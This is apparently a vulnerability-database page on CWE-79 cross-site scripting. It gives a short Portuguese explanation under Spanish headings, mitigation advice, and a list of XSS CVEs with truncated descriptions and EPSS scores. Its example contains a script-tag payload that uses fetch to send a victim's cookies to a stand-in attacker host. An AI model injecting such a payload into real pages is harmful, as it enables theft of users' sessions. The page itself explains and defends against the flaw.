Fallos del tipo CWE-79

28.634 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-64638HIGHWordPress is vulnerable to a pre-auth reflected XSS vulnerability on the login screen. Via a specially crafted malicious third-party websEPSS 0.9%CVE-2020-8020MEDIUMPersistent XSS in markdown parser used by obs-serverEPSS 0.9%CVE-2021-24681—Duplicate Page <= 4.4.2 - Admin+ Stored Cross-Site ScriptingEPSS 0.9%CVE-2026-32118MEDIUMOpenEMR has Stored XSS in Graphical Pain Map legend via unescaped annotation textEPSS 0.9%CVE-2024-3850MEDIUMUniview NVR301-04S2-P4 Cross-site ScriptingEPSS 0.9%CVE-2022-1005—WP Statistics < 13.2.2 - Reflected Cross-Site ScriptingEPSS 0.9%CVE-2021-25955CRITICALStored XSS in “Dolibarr” leads to privilege escalationEPSS 0.9%CVE-2022-23518MEDIUMImproper neutralization of data URIs allows XSS in rails-html-sanitizerEPSS 0.9%CVE-2024-22195MEDIUMJinja vulnerable to Cross-Site Scripting (XSS)EPSS 0.9%CVE-2025-41228MEDIUMVMware ESXi and vCenter Server Reflected Cross Site Scripting (XSS) VulnerabilityEPSS 0.9%CVE-2017-12348—Multiple vulnerabilities in the web-based management interface of Cisco UCS Central Software could allow a remote attacker to conduct a crosEPSS 0.9%CVE-2017-12349—Multiple vulnerabilities in the web-based management interface of Cisco UCS Central Software could allow a remote attacker to conduct a crosEPSS 0.9%CVE-2023-39360MEDIUMReflected Cross-site Scripting in graphs_new.php in CactiEPSS 0.9%CVE-2018-0201—A vulnerability in Cisco Jabber Client Framework (JCF) could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS)EPSS 0.9%CVE-2017-12294—A vulnerability in Cisco WebEx Meetings Server could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack EPSS 0.9%CVE-2017-12357—A vulnerability in the web-based management interface of Cisco Unified Communications Manager could allow an authenticated, remote attacker EPSS 0.9%CVE-2020-10614—In OSIsoft PI System multiple products and versions, an authenticated remote attacker with write access to PI Vision databases could inject EPSS 0.9%CVE-2018-3824—X-Pack Machine Learning versions before 6.2.4 and 5.6.9 had a cross-site scripting (XSS) vulnerability. If an attacker is able to inject datEPSS 0.9%CVE-2018-15633HIGHCross-site scripting (XSS) issue in "document" module in Odoo Community 11.0 and earlier and Odoo Enterprise 11.0 and earlier, allows remoteEPSS 0.9%CVE-2024-43476HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 0.9%